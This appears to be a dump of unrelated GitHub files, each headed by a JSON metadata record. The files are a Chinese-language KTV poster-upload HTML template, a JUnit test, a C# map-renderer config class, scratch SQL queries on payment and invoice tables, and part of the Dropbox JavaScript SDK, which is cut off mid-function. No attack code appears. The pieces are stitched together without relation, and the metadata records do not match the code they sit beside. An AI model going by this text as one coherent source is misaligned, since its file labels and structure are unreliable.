{ "content_hash": "d06400b2caedc165964790361560453e", "timestamp": "", "source": "github", "line_count": 183, "max_line_length": 114, "avg_line_length": 37.12568306010929, "alnum_prop": 0.5975861053871063, "repo_name": "hankooxiaozei/adcelebrity", "id": "1f82b610da74aba0309b5c28d974827cd84b2891", "size": "6856", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "app/src/main/java/com/cloudTop/starshare/utils/ImageLoaderUtils.java", "mode": "33188", "license": "mit", "language": [ { "name": "GLSL", "bytes": "415" }, { "name": "HTML", "bytes": "6241" }, { "name": "Java", "bytes": "3956838" }, { "name": "JavaScript", "bytes": "1718" } ], "symlink_target": "" }
<include file="Public/head"/> <include file="Businessktv:ktv_menu"/> <script src="__STATIC__/artDialog/jquery.artDialog.js?skin=default"></script> <script src="__STATIC__/artDialog/plugins/iframeTools.js"></script> <link rel="stylesheet" href="__STATIC__/kindeditor/themes/default/default.css" /> <link rel="stylesheet" href="__STATIC__/kindeditor/plugins/code/prettify.css" /> <script src="__STATIC__/kindeditor/kindeditor.js" type="text/javascript"></script> <script src="__STATIC__/kindeditor/lang/zh_CN.js" type="text/javascript"></script> <script src="__STATIC__/kindeditor/plugins/code/prettify.js" type="text/javascript"></script> <style> .cLine { overflow: hidden; padding: 5px 0; color:#000000; } .alert { padding: 8px 35px 0 10px; text-shadow: none; -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); -moz-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); background-color: #f9edbe; border: 1px solid #f0c36d; -webkit-border-radius: 2px; -moz-border-radius: 2px; border-radius: 2px; color: #333333; margin-top: 5px; } .alert p { margin: 0 0 10px; display: block; } .alert .bold{ font-weight:bold; } </style> // <script> // var editor; // KindEditor.ready(function(K) { // editor = K.create('#second_desc', { // resizeType : 1, // allowPreviewEmoticons : false, // allowImageUpload : true, // uploadJson : "{gr-:U('User/GFile/kindedtiropic')}", // items : [ // 'source','undo','plainpaste','wordpaste','clearhtml','quickformat','selectall','fullscreen','fontname', 'fontsize','subscript','superscript','indent','outdent','|', 'forecolor', 'hilitecolor', 'bold', 'italic', 'underline','hr'] // }); // }); // </script> <script> jQuery(document).ready(function(){ jQuery("#formID").validationEngine(); }); </script> <div class="col-xs-9 col-sm-9 col-md-10 col-lg-10 "> <div class="righttitle"> <h4>请设置KTV相关内容</h4> <div > <div class="alert"> <p><span class="bold">使用方法:</span> <strong><font color='red'>请设置KTV相关内容,注意:第一次使用,请点击添KTV简介等相关设置,并点击保存</font></strong> </p> </div> </div> </div> <div class=""> <form class="form" method="post" action="" id="formID" target="_top" enctype="multipart/form-data"> <table style=" margin:20px 0 0 0;" border="0" cellspacing="0" cellpadding="0" width="100%"> <tbody> <tr> <if condition="$busines_second['pid'] neq ''"> <input type="hidden" class="form-control" id="pid" value="{gr-$busines_second['pid']}" name="pid" > <input type="hidden" class="form-control" id="status" value="edit" name="status" > </if> <input type="hidden" class="form-control" id="type" value="{gr-$type}" name="type" > </tr> <tr> <th valign="top"><label for="bid_id">选择KTV</label></th> <td><select class="form-control" name="bid_id" id="bid_id"> <option value="">请选择KTV</option> <volist name="busines_list" id="vo"> <option value="{gr-$vo.bid}" <if condition="$vo.bid eq $busines_second['bid_id']">selected="selected"</if>>{gr-$vo.mtitle}</option> </volist> </select> <br> </td> <td></td> </tr> <tr> <th valign="top"><label for="ablum_id">选择相册</label></th> <td><select class="form-control" name="ablum_id" id="ablum_id"> <option value="">请选择相册</option> <volist name="photo" id="vo"> <option value="{gr-$vo.id}" <if condition="$vo.id eq $busines_second['ablum_id']">selected="selected"</if>>{gr-$vo.title}</option> </volist> </select> <br> </td> <td></td> </tr> <tr> <th valign="top"><label for="picurl_1">海报1</label></th> <td><img class="thumb_img" id="picurl_1_src" src="{gr-$busines_second['picurl_1']}" style="max-height:100px;max-width: 150px;"><input type="input" class="form-control" id="picurl_1" value="{gr-$busines_second['picurl_1']}" name="picurl_1" data-validation-engine="validate[required,custom[url]]" data-errormessage-value-missing="必须上传图片!" data-errormessage-custom-error="如果是手动填写,正确的网址,如: http://www.baidu.com/images/demo.png"> <script src="__STATIC__/gfile.js"></script> <a href="###" onclick="gfilePicUpload('picurl_1',480,751,'{gr-$token}')" class="btn btn-warning btn-sm" ><i class="mdi-file-file-upload"></i>上传</a> <a href="###" onclick="viewImg('picurl_1')" class="btn btn-warning btn-sm" ><i class="mdi-action-pageview"></i>预览</a> [480*751]</td> <td></td> </tr> <tr> <th valign="top"><label for="picurl_2">海报2</label></th> <td><img class="thumb_img" id="picurl_2_src" src="{gr-$busines_second['picurl_2']}" style="max-height:100px;max-width: 150px;"><input type="input" class="form-control" id="picurl_2" value="{gr-$busines_second['picurl_2']}" name="picurl_2" data-validation-engine="validate[required,custom[url]]" data-errormessage-value-missing="必须上传图片!" data-errormessage-custom-error="如果是手动填写,正确的网址,如: http://www.baidu.com/images/demo.png"> <script src="__STATIC__/gfile.js"></script> <a href="###" onclick="gfilePicUpload('picurl_2',480,751,'{gr-$token}')" class="btn btn-warning btn-sm" ><i class="mdi-file-file-upload"></i>上传</a> <a href="###" onclick="viewImg('picurl_2')" class="btn btn-warning btn-sm" ><i class="mdi-action-pageview"></i>预览</a> [480,751]</td> <td></td> </tr> <tr> <th valign="top"><label for="picurl_3">海报3</label></th> <td><img class="thumb_img" id="picurl_3_src" src="{gr-$busines_second['picurl_3']}" style="max-height:100px;max-width: 150px;"><input type="input" class="form-control" id="picurl_3" value="{gr-$busines_second['picurl_3']}" name="picurl_3" data-validation-engine="validate[required,custom[url]]" data-errormessage-value-missing="必须上传图片!" data-errormessage-custom-error="如果是手动填写,正确的网址,如: http://www.baidu.com/images/demo.png"> <script src="__STATIC__/gfile.js"></script> <a href="###" onclick="gfilePicUpload('picurl_3',480,751,'{gr-$token}')" class="btn btn-warning btn-sm" ><i class="mdi-file-file-upload"></i>上传</a> <a href="###" onclick="viewImg('picurl_3')" class="btn btn-warning btn-sm" ><i class="mdi-action-pageview"></i>预览</a> [480,751] </td> <td></td> </tr> <tr> <th valign="top"><label for="picurl_4">海报4</label></th> <td><img class="thumb_img" id="picurl_4_src" src="{gr-$busines_second['picurl_4']}" style="max-height:100px;max-width: 150px;"><input type="input" class="form-control" id="picurl_4" value="{gr-$busines_second['picurl_4']}" name="picurl_4" data-validation-engine="validate[required,custom[url]]" data-errormessage-value-missing="必须上传图片!" data-errormessage-custom-error="如果是手动填写,正确的网址,如: http://www.baidu.com/images/demo.png"> <script src="__STATIC__/gfile.js"></script> <a href="###" onclick="gfilePicUpload('picurl_4',480,751,'{gr-$token}')" class="btn btn-warning btn-sm" ><i class="mdi-file-file-upload"></i>上传</a> <a href="###" onclick="viewImg('picurl_4')" class="btn btn-warning btn-sm" ><i class="mdi-action-pageview"></i>预览</a> [480,751]</td> <td></td> </tr> <tr> <th valign="top"><label for="picurl_5">海报5</label></th> <td><img class="thumb_img" id="picurl_5_src" src="{gr-$busines_second['picurl_5']}" style="max-height:100px;max-width: 150px;"><input type="input" class="form-control" id="picurl_5" value="{gr-$busines_second['picurl_5']}" name="picurl_5" data-validation-engine="validate[required,custom[url]]" data-errormessage-value-missing="必须上传图片!" data-errormessage-custom-error="如果是手动填写,正确的网址,如: http://www.baidu.com/images/demo.png"> <script src="__STATIC__/gfile.js"></script> <a href="###" onclick="gfilePicUpload('picurl_5',480,751,'{gr-$token}')" class="btn btn-warning btn-sm" ><i class="mdi-file-file-upload"></i>上传</a> <a href="###" onclick="viewImg('picurl_5')" class="btn btn-warning btn-sm" ><i class="mdi-action-pageview"></i>预览</a> [480,751] </td> <td></td> </tr> <tr> <th></th> <td><button type="submit" name="button" class="btn btn-primary"><i class="mdi-content-save"></i>保存</button> <div class="clearfix"></div></td> </tr> </tbody> </table> </form> </div> </div> <include file="Public/footer"/>
{ "content_hash": "7d58abb03f36a24aa1f3b67194ee4c34", "timestamp": "", "source": "github", "line_count": 167, "max_line_length": 306, "avg_line_length": 51.47904191616767, "alnum_prop": 0.6014888914737699, "repo_name": "h136799711/2015weitonghui", "id": "b6b47a3608339ad515d352f162a165519898f616", "size": "8969", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "Application/User/View/gooraye/Businessktv/poster_add.html", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "ASP", "bytes": "30814" }, { "name": "ActionScript", "bytes": "28251" }, { "name": "ApacheConf", "bytes": "912" }, { "name": "CSS", "bytes": "11665404" }, { "name": "HTML", "bytes": "9037529" }, { "name": "Java", "bytes": "11028" }, { "name": "JavaScript", "bytes": "17601942" }, { "name": "PHP", "bytes": "4103223" }, { "name": "Ruby", "bytes": "841" }, { "name": "Smarty", "bytes": "3562" } ], "symlink_target": "" }
package junitparams; import static org.junit.Assert.assertEquals; import org.junit.Test; import org.junit.runner.JUnitCore; import org.junit.runner.Result; import junitparams.usage.SamplesOfUsageTest; public class SamplesOfUsageVerificationTest { @Test public void verifyNoTestsIgnoredInSamplesOfUsageTest() { Result result = JUnitCore.runClasses(SamplesOfUsageTest.class); assertEquals(0, result.getFailureCount()); assertEquals(0, result.getIgnoreCount()); } }
{ "content_hash": "42ae14cef549cacaf93283dc3a99fccb", "timestamp": "", "source": "github", "line_count": 21, "max_line_length": 71, "avg_line_length": 24.095238095238095, "alnum_prop": 0.7608695652173914, "repo_name": "ukcrpb6/JUnitParams", "id": "13a0719448c2ddb5ee80f3bdc931b85b63c62c8f", "size": "506", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "src/test/java/junitparams/SamplesOfUsageVerificationTest.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "1391" }, { "name": "HTML", "bytes": "551109" }, { "name": "Java", "bytes": "167130" } ], "symlink_target": "" }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Configuration; using WzComparerR2.Config; namespace WzComparerR2.MapRender.Config { [SectionName("WcR2.MapRender")] public sealed class MapRenderConfig : ConfigSectionBase<MapRenderConfig> { public MapRenderConfig() { this.Volume = 1f; this.MuteOnLeaveFocus = true; this.ClipMapRegion = true; } [ConfigurationProperty("volume")] public ConfigItem<float> Volume { get { return (ConfigItem<float>)this["volume"]; } set { this["volume"] = value; } } [ConfigurationProperty("muteOnLeaveFocus")] public ConfigItem<bool> MuteOnLeaveFocus { get { return (ConfigItem<bool>)this["muteOnLeaveFocus"]; } set { this["muteOnLeaveFocus"] = value; } } [ConfigurationProperty("defaultFontIndex")] public ConfigItem<int> DefaultFontIndex { get { return (ConfigItem<int>)this["defaultFontIndex"]; } set { this["defaultFontIndex"] = value; } } [ConfigurationProperty("clipMapRegion")] public ConfigItem<bool> ClipMapRegion { get { return (ConfigItem<bool>)this["clipMapRegion"]; } set { this["clipMapRegion"] = value; } } [ConfigurationProperty("useD2DRenderer")] public ConfigItem<bool> UseD2dRenderer { get { return (ConfigItem<bool>)this["useD2DRenderer"]; } set { this["useD2DRenderer"] = value; } } [ConfigurationProperty("topBar.Visible")] public ConfigItem<bool> TopBarVisible { get { return (ConfigItem<bool>)this["topBar.Visible"]; } set { this["topBar.Visible"] = value; } } [ConfigurationProperty("minimap.CameraRegionVisible")] public ConfigItem<bool> Minimap_CameraRegionVisible { get { return (ConfigItem<bool>)this["minimap.CameraRegionVisible"]; } set { this["minimap.CameraRegionVisible"] = value; } } [ConfigurationProperty("worldMap.UseImageNameAsInfoName")] public ConfigItem<bool> WorldMap_UseImageNameAsInfoName { get { return (ConfigItem<bool>)this["worldMap.UseImageNameAsInfoName"]; } set { this["worldMap.UseImageNameAsInfoName"] = value; } } } }
{ "content_hash": "f58da031376510e926c25465121d3c99", "timestamp": "", "source": "github", "line_count": 77, "max_line_length": 85, "avg_line_length": 32.688311688311686, "alnum_prop": 0.6038935240365515, "repo_name": "KENNYSOFT/WzComparerR2", "id": "13cce28dd0a1b39ebf9dabd95d5245854f493662", "size": "2519", "binary": false, "copies": "1", "ref": "refs/heads/kms", "path": "WzComparerR2.MapRender/Config/MapRenderConfig.cs", "mode": "33188", "license": "mit", "language": [ { "name": "Batchfile", "bytes": "151" }, { "name": "C#", "bytes": "2509560" }, { "name": "HLSL", "bytes": "2982" }, { "name": "Lua", "bytes": "7259" } ], "symlink_target": "" }
select * from pmntdoc where cashdesk_id = 1754451635 order by pdcreated desc / --NAGYERIKA2 select * from cashdesk where cdcode = '832' / 1790376122 1790376121 / select * from payment where PMNTDOCUMENTEDINVOICE = '5301120000016289' and payment_id >= 2034151131-10000 --pmntdoc_id = 1790376141 / --SZELESG select * from tippayment where payment_id in (2034151131) select * from pill_cas_ifcallslogtable where operationname = 'CreateReceivedPayment' and calluser = 'SZELESG' and param_in_02 = 'RequestAmount: 6899' order by pill_cas_ifcallslogtable_id desc ****************************** select * from pill_cas_ifcallslogtable where subsystem = 'DIP' --and operationname = 'CreateReceivedPayment' and calluser = 'OLA_AYCSP_12' order by calldate desc where PILL_CAS_IFCALLSLOGTABLE_ID = 264; where operationname = 'CreateReceivedPayment' and param_in_02 = 'RequestAmount: 6899' order by pill_cas_ifcallslogtable_id desc / select * from dipdoc order by dipdoc_id desc / select * from dipdocdetail where dipdoc_id = 8977919 / select * from dipdoc --where dpno = '120130051850' where dptotalsum = 6899 and dipdoc_id > 8977919 - 1000 / select * from payment where payment_id >= 2034151131-1000 and PMNTDOCUMENTEDINVOICE = '5301120000016289' / select * from techinvpmntassoc where payment_id = 2034150131 / select * from invoice where invoice_id = 2046505428 / select * from invoice where invoice_id >= 2046505428-10000 and INVOICEASSOCNUMBER = '5301120000015746' / select * from tippayment where payment_id = 2043809320
{ "content_hash": "9932ced7f8924fc5a8dbfcf1d2705246", "timestamp": "", "source": "github", "line_count": 71, "max_line_length": 71, "avg_line_length": 22.64788732394366, "alnum_prop": 0.7176616915422885, "repo_name": "szelesg76/sqlFiles", "id": "d0d91fa9d629909312ec08038176c28fe3b635b9", "size": "1608", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "cas/cas_amodcs_tetel_kereses.sql", "mode": "33188", "license": "mit", "language": [ { "name": "PLSQL", "bytes": "250309" } ], "symlink_target": "" }
(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : typeof define === 'function' && define.amd ? define(['exports'], factory) : (global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.Dropbox = {})); }(this, (function (exports) { 'use strict'; function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } function _construct(Parent, args, Class) { if (_isNativeReflectConstruct()) { _construct = Reflect.construct; } else { _construct = function _construct(Parent, args, Class) { var a = [null]; a.push.apply(a, args); var Constructor = Function.bind.apply(Parent, a); var instance = new Constructor(); if (Class) _setPrototypeOf(instance, Class.prototype); return instance; }; } return _construct.apply(null, arguments); } function _isNativeFunction(fn) { return Function.toString.call(fn).indexOf("[native code]") !== -1; } function _wrapNativeSuper(Class) { var _cache = typeof Map === "function" ? new Map() : undefined; _wrapNativeSuper = function _wrapNativeSuper(Class) { if (Class === null || !_isNativeFunction(Class)) return Class; if (typeof Class !== "function") { throw new TypeError("Super expression must either be null or a function"); } if (typeof _cache !== "undefined") { if (_cache.has(Class)) return _cache.get(Class); _cache.set(Class, Wrapper); } function Wrapper() { return _construct(Class, arguments, _getPrototypeOf(this).constructor); } Wrapper.prototype = Object.create(Class.prototype, { constructor: { value: Wrapper, enumerable: false, writable: true, configurable: true } }); return _setPrototypeOf(Wrapper, Class); }; return _wrapNativeSuper(Class); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _possibleConstructorReturn(self, call) { if (call && (typeof call === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } var RPC = 'rpc'; var UPLOAD = 'upload'; var DOWNLOAD = 'download'; var APP_AUTH = 'app'; var USER_AUTH = 'user'; var TEAM_AUTH = 'team'; var NO_AUTH = 'noauth'; var COOKIE = 'cookie'; var DEFAULT_API_DOMAIN = 'dropboxapi.com'; var DEFAULT_DOMAIN = 'dropbox.com'; var TEST_DOMAIN_MAPPINGS = { api: 'api', notify: 'bolt', content: 'api-content' }; // Auto-generated by Stone, do not modify. var routes = {}; /** * Sets a user's profile photo. * Route attributes: * scope: account_info.write * @function Dropbox#accountSetProfilePhoto * @arg {AccountSetProfilePhotoArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<AccountSetProfilePhotoResult>, DropboxResponseError.<AccountSetProfilePhotoError>>} */ routes.accountSetProfilePhoto = function (arg) { return this.request('account/set_profile_photo', arg, 'user', 'api', 'rpc', 'account_info.write'); }; /** * Creates an OAuth 2.0 access token from the supplied OAuth 1.0 access token. * @function Dropbox#authTokenFromOauth1 * @arg {AuthTokenFromOAuth1Arg} arg - The request parameters. * @returns {Promise.<DropboxResponse<AuthTokenFromOAuth1Result>, DropboxResponseError.<AuthTokenFromOAuth1Error>>} */ routes.authTokenFromOauth1 = function (arg) { return this.request('auth/token/from_oauth1', arg, 'app', 'api', 'rpc', null); }; /** * Disables the access token used to authenticate the call. If there is a * corresponding refresh token for the access token, this disables that refresh * token, as well as any other access tokens for that refresh token. * @function Dropbox#authTokenRevoke * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<void>>} */ routes.authTokenRevoke = function () { return this.request('auth/token/revoke', null, 'user', 'api', 'rpc', null); }; /** * This endpoint performs App Authentication, validating the supplied app key * and secret, and returns the supplied string, to allow you to test your code * and connection to the Dropbox API. It has no other effect. If you receive an * HTTP 200 response with the supplied query, it indicates at least part of the * Dropbox API infrastructure is working and that the app key and secret valid. * @function Dropbox#checkApp * @arg {CheckEchoArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<CheckEchoResult>, DropboxResponseError.<void>>} */ routes.checkApp = function (arg) { return this.request('check/app', arg, 'app', 'api', 'rpc', null); }; /** * This endpoint performs User Authentication, validating the supplied access * token, and returns the supplied string, to allow you to test your code and * connection to the Dropbox API. It has no other effect. If you receive an HTTP * 200 response with the supplied query, it indicates at least part of the * Dropbox API infrastructure is working and that the access token is valid. * Route attributes: * scope: account_info.read * @function Dropbox#checkUser * @arg {CheckEchoArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<CheckEchoResult>, DropboxResponseError.<void>>} */ routes.checkUser = function (arg) { return this.request('check/user', arg, 'user', 'api', 'rpc', 'account_info.read'); }; /** * Removes all manually added contacts. You'll still keep contacts who are on * your team or who you imported. New contacts will be added when you share. * Route attributes: * scope: contacts.write * @function Dropbox#contactsDeleteManualContacts * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<void>>} */ routes.contactsDeleteManualContacts = function () { return this.request('contacts/delete_manual_contacts', null, 'user', 'api', 'rpc', 'contacts.write'); }; /** * Removes manually added contacts from the given list. * Route attributes: * scope: contacts.write * @function Dropbox#contactsDeleteManualContactsBatch * @arg {ContactsDeleteManualContactsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<ContactsDeleteManualContactsError>>} */ routes.contactsDeleteManualContactsBatch = function (arg) { return this.request('contacts/delete_manual_contacts_batch', arg, 'user', 'api', 'rpc', 'contacts.write'); }; /** * Add property groups to a Dropbox file. See templates/add_for_user or * templates/add_for_team to create new templates. * Route attributes: * scope: files.metadata.write * @function Dropbox#filePropertiesPropertiesAdd * @arg {FilePropertiesAddPropertiesArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilePropertiesAddPropertiesError>>} */ routes.filePropertiesPropertiesAdd = function (arg) { return this.request('file_properties/properties/add', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Overwrite property groups associated with a file. This endpoint should be * used instead of properties/update when property groups are being updated via * a "snapshot" instead of via a "delta". In other words, this endpoint will * delete all omitted fields from a property group, whereas properties/update * will only delete fields that are explicitly marked for deletion. * Route attributes: * scope: files.metadata.write * @function Dropbox#filePropertiesPropertiesOverwrite * @arg {FilePropertiesOverwritePropertyGroupArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilePropertiesInvalidPropertyGroupError>>} */ routes.filePropertiesPropertiesOverwrite = function (arg) { return this.request('file_properties/properties/overwrite', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Permanently removes the specified property group from the file. To remove * specific property field key value pairs, see properties/update. To update a * template, see templates/update_for_user or templates/update_for_team. To * remove a template, see templates/remove_for_user or * templates/remove_for_team. * Route attributes: * scope: files.metadata.write * @function Dropbox#filePropertiesPropertiesRemove * @arg {FilePropertiesRemovePropertiesArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilePropertiesRemovePropertiesError>>} */ routes.filePropertiesPropertiesRemove = function (arg) { return this.request('file_properties/properties/remove', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Search across property templates for particular property field values. * Route attributes: * scope: files.metadata.read * @function Dropbox#filePropertiesPropertiesSearch * @arg {FilePropertiesPropertiesSearchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilePropertiesPropertiesSearchResult>, DropboxResponseError.<FilePropertiesPropertiesSearchError>>} */ routes.filePropertiesPropertiesSearch = function (arg) { return this.request('file_properties/properties/search', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Once a cursor has been retrieved from properties/search, use this to paginate * through all search results. * Route attributes: * scope: files.metadata.read * @function Dropbox#filePropertiesPropertiesSearchContinue * @arg {FilePropertiesPropertiesSearchContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilePropertiesPropertiesSearchResult>, DropboxResponseError.<FilePropertiesPropertiesSearchContinueError>>} */ routes.filePropertiesPropertiesSearchContinue = function (arg) { return this.request('file_properties/properties/search/continue', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Add, update or remove properties associated with the supplied file and * templates. This endpoint should be used instead of properties/overwrite when * property groups are being updated via a "delta" instead of via a "snapshot" . * In other words, this endpoint will not delete any omitted fields from a * property group, whereas properties/overwrite will delete any fields that are * omitted from a property group. * Route attributes: * scope: files.metadata.write * @function Dropbox#filePropertiesPropertiesUpdate * @arg {FilePropertiesUpdatePropertiesArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilePropertiesUpdatePropertiesError>>} */ routes.filePropertiesPropertiesUpdate = function (arg) { return this.request('file_properties/properties/update', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Add a template associated with a team. See properties/add to add properties * to a file or folder. Note: this endpoint will create team-owned templates. * Route attributes: * scope: files.team_metadata.write * @function Dropbox#filePropertiesTemplatesAddForTeam * @arg {FilePropertiesAddTemplateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilePropertiesAddTemplateResult>, DropboxResponseError.<FilePropertiesModifyTemplateError>>} */ routes.filePropertiesTemplatesAddForTeam = function (arg) { return this.request('file_properties/templates/add_for_team', arg, 'team', 'api', 'rpc', 'files.team_metadata.write'); }; /** * Add a template associated with a user. See properties/add to add properties * to a file. This endpoint can't be called on a team member or admin's behalf. * Route attributes: * scope: files.metadata.write * @function Dropbox#filePropertiesTemplatesAddForUser * @arg {FilePropertiesAddTemplateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilePropertiesAddTemplateResult>, DropboxResponseError.<FilePropertiesModifyTemplateError>>} */ routes.filePropertiesTemplatesAddForUser = function (arg) { return this.request('file_properties/templates/add_for_user', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Get the schema for a specified template. * Route attributes: * scope: files.team_metadata.write * @function Dropbox#filePropertiesTemplatesGetForTeam * @arg {FilePropertiesGetTemplateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilePropertiesGetTemplateResult>, DropboxResponseError.<FilePropertiesTemplateError>>} */ routes.filePropertiesTemplatesGetForTeam = function (arg) { return this.request('file_properties/templates/get_for_team', arg, 'team', 'api', 'rpc', 'files.team_metadata.write'); }; /** * Get the schema for a specified template. This endpoint can't be called on a * team member or admin's behalf. * Route attributes: * scope: files.metadata.read * @function Dropbox#filePropertiesTemplatesGetForUser * @arg {FilePropertiesGetTemplateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilePropertiesGetTemplateResult>, DropboxResponseError.<FilePropertiesTemplateError>>} */ routes.filePropertiesTemplatesGetForUser = function (arg) { return this.request('file_properties/templates/get_for_user', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Get the template identifiers for a team. To get the schema of each template * use templates/get_for_team. * Route attributes: * scope: files.team_metadata.write * @function Dropbox#filePropertiesTemplatesListForTeam * @returns {Promise.<DropboxResponse<FilePropertiesListTemplateResult>, DropboxResponseError.<FilePropertiesTemplateError>>} */ routes.filePropertiesTemplatesListForTeam = function () { return this.request('file_properties/templates/list_for_team', null, 'team', 'api', 'rpc', 'files.team_metadata.write'); }; /** * Get the template identifiers for a team. To get the schema of each template * use templates/get_for_user. This endpoint can't be called on a team member or * admin's behalf. * Route attributes: * scope: files.metadata.read * @function Dropbox#filePropertiesTemplatesListForUser * @returns {Promise.<DropboxResponse<FilePropertiesListTemplateResult>, DropboxResponseError.<FilePropertiesTemplateError>>} */ routes.filePropertiesTemplatesListForUser = function () { return this.request('file_properties/templates/list_for_user', null, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Permanently removes the specified template created from * templates/add_for_user. All properties associated with the template will also * be removed. This action cannot be undone. * Route attributes: * scope: files.team_metadata.write * @function Dropbox#filePropertiesTemplatesRemoveForTeam * @arg {FilePropertiesRemoveTemplateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilePropertiesTemplateError>>} */ routes.filePropertiesTemplatesRemoveForTeam = function (arg) { return this.request('file_properties/templates/remove_for_team', arg, 'team', 'api', 'rpc', 'files.team_metadata.write'); }; /** * Permanently removes the specified template created from * templates/add_for_user. All properties associated with the template will also * be removed. This action cannot be undone. * Route attributes: * scope: files.metadata.write * @function Dropbox#filePropertiesTemplatesRemoveForUser * @arg {FilePropertiesRemoveTemplateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilePropertiesTemplateError>>} */ routes.filePropertiesTemplatesRemoveForUser = function (arg) { return this.request('file_properties/templates/remove_for_user', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Update a template associated with a team. This route can update the template * name, the template description and add optional properties to templates. * Route attributes: * scope: files.team_metadata.write * @function Dropbox#filePropertiesTemplatesUpdateForTeam * @arg {FilePropertiesUpdateTemplateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilePropertiesUpdateTemplateResult>, DropboxResponseError.<FilePropertiesModifyTemplateError>>} */ routes.filePropertiesTemplatesUpdateForTeam = function (arg) { return this.request('file_properties/templates/update_for_team', arg, 'team', 'api', 'rpc', 'files.team_metadata.write'); }; /** * Update a template associated with a user. This route can update the template * name, the template description and add optional properties to templates. This * endpoint can't be called on a team member or admin's behalf. * Route attributes: * scope: files.metadata.write * @function Dropbox#filePropertiesTemplatesUpdateForUser * @arg {FilePropertiesUpdateTemplateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilePropertiesUpdateTemplateResult>, DropboxResponseError.<FilePropertiesModifyTemplateError>>} */ routes.filePropertiesTemplatesUpdateForUser = function (arg) { return this.request('file_properties/templates/update_for_user', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Returns the total number of file requests owned by this user. Includes both * open and closed file requests. * Route attributes: * scope: file_requests.read * @function Dropbox#fileRequestsCount * @returns {Promise.<DropboxResponse<FileRequestsCountFileRequestsResult>, DropboxResponseError.<FileRequestsCountFileRequestsError>>} */ routes.fileRequestsCount = function () { return this.request('file_requests/count', null, 'user', 'api', 'rpc', 'file_requests.read'); }; /** * Creates a file request for this user. * Route attributes: * scope: file_requests.write * @function Dropbox#fileRequestsCreate * @arg {FileRequestsCreateFileRequestArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<FileRequestsFileRequest>, DropboxResponseError.<FileRequestsCreateFileRequestError>>} */ routes.fileRequestsCreate = function 